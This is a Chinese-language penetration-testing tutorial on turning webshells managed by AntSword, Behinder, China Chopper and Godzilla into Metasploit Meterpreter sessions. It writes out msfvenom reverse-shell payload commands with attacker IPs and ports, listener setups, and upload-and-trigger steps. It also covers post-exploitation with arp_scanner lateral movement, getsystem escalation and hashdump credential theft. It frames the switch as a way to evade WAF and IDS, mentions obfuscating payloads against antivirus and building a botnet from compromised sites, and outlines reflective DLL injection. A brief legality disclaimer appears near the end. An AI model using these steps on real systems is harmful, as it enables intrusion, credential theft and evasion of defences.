目录
一、为什么Webshell管理工具需要上线到Metasploit?
什么情况下需要上线到Metasploit?
二、常见Webshell管理工具及上线Metasploit的步骤
1. 蚁剑(AntSword)上线到Metasploit
上线步骤:
实际案例:
2. 冰蝎(Behinder)上线到Metasploit
上线步骤:
实际案例:
3. 菜刀(China Chopper)上线到Metasploit
上线步骤:
实际案例:
4. 其他Webshell管理工具(补充)
Godzilla(哥斯拉)
QuasiBot
三、需要上线到Metasploit的实际案例总结
四、注意事项
--------------------------------------冰蝎上线msf实战过程
一、为什么Webshell管理工具需要上线到Metasploit?
在内网渗透或挂马的场景中,Webshell管理工具(如蚁剑、冰蝎、菜刀等)虽然已经提供了远程控制能力,但上线到Metasploit有以下几个关键原因:
-
功能扩展:
-
Metasploit提供强大的后渗透模块(如权限提升、持久化、横向移动、网络嗅探等),这些功能远超Webshell管理工具的基本命令执行和文件管理能力。
-
-
通信隐蔽性:
-
Webshell通常通过HTTP/HTTPS通信,可能被WAF(Web应用防火墙)或IDS(入侵检测系统)检测到。而Metasploit支持的反向连接(如Meterpreter)可以通过加密通道(如TCP或HTTPS)通信,更难被发现。
-
-
会话管理:
-
在内网渗透中,可能同时控制多个目标主机,Metasploit可以集中管理多个会话,方便操作。
-
-
复杂任务需求:
-
某些任务(如提权、内网信息收集、漏洞利用)需要Metasploit的专用Payload或脚本支持,而Webshell工具本身功能有限。
-
什么情况下需要上线到Metasploit?
-
内网渗透:已经通过Webshell进入边界服务器,但需要深入内网(如横向移动到域控)。
-
挂马后控制:通过挂马植入Webshell后,需要更强大的控制能力以执行后续攻击。
-
规避检测:Webshell通信被监控,需要切换到Metasploit的反向Shell。
-
权限提升:目标服务器权限较低,需要Metasploit的提权模块。
二、常见Webshell管理工具及上线Metasploit的步骤
以下是针对蚁剑(AntSword)、冰蝎(Behinder)、菜刀(China Chopper)的上线步骤,以及其他工具的补充说明。每个工具都会附带一个实际案例。
1. 蚁剑(AntSword)上线到Metasploit
上线步骤:
-
生成Metasploit Payload:
-
使用
msfvenom
生成一个PHP反向TCP Payload:msfvenom -p php/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f raw > shell.php
-
将
shell.php
上传到目标服务器的Web目录。
-
-
配置Metasploit监听:
-
启动Metasploit并设置监听:
msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT <你的端口> exploit
-
-
通过蚁剑执行Payload:
-
在蚁剑中连接到已有Webshell。
-
使用“文件管理”功能上传
shell.php
,然后通过“命令执行”或访问URL触发它(例如:curl http://target/shell.php
)。
-
-
接收会话:
-
Metasploit的
multi/handler
会接收到一个Meterpreter会话。
-
实际案例:
场景:你在内网渗透中通过SQL注入上传了一个PHP Webshell(backdoor.php
),并用蚁剑连接。现在需要深入内网,探测其他主机。
-
步骤:
-
生成Payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php
。 -
在蚁剑中上传
shell.php
到/var/www/html/
。 -
配置Metasploit监听:
LHOST=192.168.1.100, LPORT=4444
,运行exploit
。 -
在蚁剑中执行
php /var/www/html/shell.php
,Metasploit收到会话。
-
-
结果:获得Meterpreter会话后,使用
run arp_scanner
扫描内网其他主机,开始横向移动。
2. 冰蝎(Behinder)上线到Metasploit
上线步骤:
-
生成Metasploit Payload:
-
假设目标支持JSP,生成Java Meterpreter Payload:
msfvenom -p java/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f war > shell.war
-
将
shell.war
上传到目标Web服务器并部署。
-
-
配置Metasploit监听:
-
启动Metasploit并设置监听:
use exploit/multi/handler set payload java/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT <你的端口> exploit
-
-
通过冰蝎执行Payload:
-
在冰蝎客户端连接到已有Webshell。
-
使用“命令执行”功能触发
shell.war
(例如:访问http://target/shell/
)。
-
-
接收会话:
-
Metasploit接收到Meterpreter会话。
-
实际案例:
场景:通过文件上传漏洞上传了一个JSP Webshell(backdoor.jsp
),用冰蝎管理。现在需要规避WAF检测,切换到Meterpreter。
-
步骤:
-
生成Payload:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=5555 -f war > shell.war
。 -
在冰蝎中上传
shell.war
到Tomcat的webapps
目录,自动部署为shell
。 -
配置Metasploit监听:
LHOST=10.0.0.10, LPORT=5555
,运行exploit
。 -
在冰蝎中访问
http://target/shell/
,触发Payload。
-
-
结果:Metasploit收到会话,WAF不再检测到Webshell的HTTP流量。
3. 菜刀(China Chopper)上线到Metasploit
上线步骤:
-
生成Metasploit Payload:
-
假设Webshell是ASP,生成ASP Meterpreter Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f asp > shell.asp
-
将
shell.asp
上传到目标Web目录。
-
-
配置Metasploit监听:
-
启动Metasploit并设置监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <你的IP> set LPORT <你的端口> exploit
-
-
通过菜刀执行Payload:
-
在菜刀中连接到已有Webshell。
-
使用“执行命令”功能触发
shell.asp
(例如:curl http://localhost/shell.asp
)。
-
-
接收会话:
-
Metasploit接收到Meterpreter会话。
-
实际案例:
场景:通过挂马在受害者网站植入ASP Webshell(backdoor.asp
),用菜刀管理。现在需要提权到SYSTEM。
-
步骤:
-
生成Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.50 LPORT=6666 -f asp > shell.asp
。 -
在菜刀中上传
shell.asp
到C:\inetpub\wwwroot\
。 -
配置Metasploit监听:
LHOST=172.16.1.50, LPORT=6666
,运行exploit
。 -
在菜刀中执行
wscript.exe //e:vbscript http://localhost/shell.asp
,触发Payload。
-
-
结果:Metasploit收到会话,使用
getsystem
命令成功提权到SYSTEM。
4. 其他Webshell管理工具(补充)
Godzilla(哥斯拉)
-
上线步骤:类似冰蝎,生成适合目标语言的Payload(如PHP/Java),上传后通过Godzilla的命令执行功能触发。
-
案例:在内网渗透中,上传
shell.php
并用Godzilla执行,连接Metasploit后执行run post/windows/gather/hashdump
抓取密码哈希。
QuasiBot
-
上线步骤:生成Windows Payload(如
windows/meterpreter/reverse_tcp
),通过QuasiBot的HTTP通信执行。 -
案例:挂马后控制多台主机,上传Payload并上线到Metasploit,构建僵尸网络。
三、需要上线到Metasploit的实际案例总结
以下是具体场景及上线原因的案例:
-
内网渗透 - 横向移动:
-
场景:通过蚁剑控制边界Web服务器,需要扫描内网其他主机。
-
上线原因:Metasploit的
arp_scanner
和portscan
模块更高效。 -
案例:如蚁剑案例所述。
-
-
挂马后提权:
-
场景:通过挂马植入菜刀Webshell,当前权限为普通用户。
-
上线原因:Metasploit的提权模块(如
getsystem
)更强大。 -
案例:如菜刀案例所述。
-
-
规避检测:
-
场景:冰蝎Webshell被WAF频繁拦截。
-
上线原因:Metasploit的加密通信更隐蔽。
-
案例:如冰蝎案例所述。
-
-
复杂任务执行:
-
场景:通过Godzilla控制服务器,需要抓取密码哈希。
-
上线原因:Metasploit的
hashdump
模块直接可用。 -
案例:如Godzilla补充所述。
-
四、注意事项
-
合法性:仅在授权的渗透测试中使用,未经许可的操作违法。
-
安全性:在虚拟机或测试环境实验,避免影响生产系统。
-
隐蔽性:实际攻击中可能需混淆Payload以绕过杀软。
-
实践建议:搭建靶场(如Metasploitable)亲自操作。
----------冰蝎上线msf实战过程
通过jsp上线到冰蝎
kali-冰蝎上线到msf过程
- msf操作
search exploit /multi/handler
use 5
set payload java/meterpreter/reverse_tcp
set lhost ### MSF服务端IP
set lport ### 启用得端口
run
冰蝎连接反弹shell部分
- 点击给我连 查看shell上连接成功
------------------MSF存在最大会话限制问题处理
- 冰蝎反弹shell后
- msf最后上线发现java/windows类型的msf会话存在较大的限制
背景说明
- 在利用冰蝎反弹 shell 成功入侵目标后,通过 Metasploit(MSF)上线的会话如果是基于 Java 的 Windows 会话,就会发现功能受限,尤其是在进程注入、提权等操作上。
- 这种情况常见于利用冰蝎或其他类似 webshell 工具时,反弹出来的 shell 实际上并非一个完整的原生 Meterpreter 会话,而是经过 Java 层包装后的简化版会话。
限制原因分析
-
Java 环境的局限性
- 抽象层较高:基于 Java 的 payload 运行在 JVM 内,JVM 屏蔽了底层操作系统的一些 API。像进程注入需要直接调用 Windows 的 native API(如 VirtualAllocEx、WriteProcessMemory、NtCreateThreadEx 等),而这些 API 的调用在 JVM 环境中无法直接完成。
- 安全沙箱机制:Java 应用通常受到一定的安全限制,无法轻易加载或执行本地 DLL,这使得很多 native 技术难以实现。
-
Payload 设计缺陷
- 功能受限:许多利用冰蝎反弹的 payload 本身并非为完整的渗透后操作设计,而是仅提供一个简单的命令交互通道。MSF 在接管这种会话时,往往会检测到其非原生特性,从而无法启用诸如进程注入、提权等高级功能。
- 模块兼容性问题:MSF 中的部分模块要求底层会话必须具备 native 执行环境,而 Java 反弹的 shell在调用系统 API 时存在局限性,从而无法满足模块的调用要求。
解决方法
针对这种情况,常见的处理方法有两种:
-
转换为原生 Meterpreter 会话
- 手工上传原生 payload:利用已获得的 Java shell,在目标系统上上传并执行一个原生 Windows 负载(例如反射式 DLL 注入 payload 或者 Powershell 编写的原生加载器)。
- 进程迁移:如果当前会话允许一定的操作,可以尝试利用进程迁移(migrate)功能,将会话迁移到一个拥有较高权限且环境较为原生的进程中。但需要注意的是,Java 会话通常不支持这一操作,因此需要借助外部 payload 进行转换。
-
手工调用本地提权工具
- 利用系统自带工具或漏洞:在目标机上利用 UAC 绕过或者已知漏洞进行提权。这通常要求手工构造命令或者利用 Powershell 脚本加载 native 模块。
- 自定义 DLL 注入:通过上传一个自定义编写的 DLL,然后利用诸如 rundll32.exe 或者其他已知载体进行注入,获得更高权限的 native 代码执行环境。
实际案例
在一次渗透测试中,测试人员通过冰蝎反弹获得了一个基于 Java 的反向 shell。上线后发现,该会话虽然可以执行基本命令,但在尝试调用 Meterpreter 模块进行进程注入和提权时均报错,提示缺乏必要的 native 环境支持。
处理过程如下:
-
初步验证
测试人员在会话内运行了一些标准的 Meterpreter 命令(如getpid
、ps
等),发现返回信息并不完整,且无法进行进程迁移。 -
构思解决方案
根据分析,测试人员判断问题出在 payload 本身的局限性,决定在目标机上上传一个专门编译好的原生 payload。该 payload 是一个反射式 DLL 注入工具,能够加载到目标系统的原生进程中,并在内存中建立一个完整的 Meterpreter 会话。 -
实施转换
利用现有的 Java shell,测试人员上传了该 DLL 和一个辅助的 loader 工具。接着,通过 loader 工具在目标机上调用 rundll32.exe 执行 DLL 注入,成功将原生 payload 注入到一个系统进程中。- 结果:注入成功后,测试人员得到了一个完整的 native Meterpreter 会话。此时,使用
migrate
、getsystem
、以及其他提权模块均能正常运行,最终成功获取了更高权限并进行了后续操作。
- 结果:注入成功后,测试人员得到了一个完整的 native Meterpreter 会话。此时,使用
-
后续利用
利用 native 会话,测试人员进一步收集系统信息、横向渗透,最终完成了测试目标。
总结
- 原因:由于基于 Java 的 shell 运行在 JVM 环境中,其调用 native API 的能力受到限制,加上 payload 本身设计上的局限,导致无法进行进程注入及提权操作。
- 处理方式:解决思路通常为将受限的 Java 会话转换为原生 Meterpreter 会话。常用方法是手工上传并执行原生 payload(如反射式 DLL 注入工具),或利用系统漏洞进行提权。
- 实际应用:通过上传自定义的 DLL 及 loader 工具,测试人员成功将 Java 会话转换为 native 会话,从而实现了完整的权限控制和后续操作。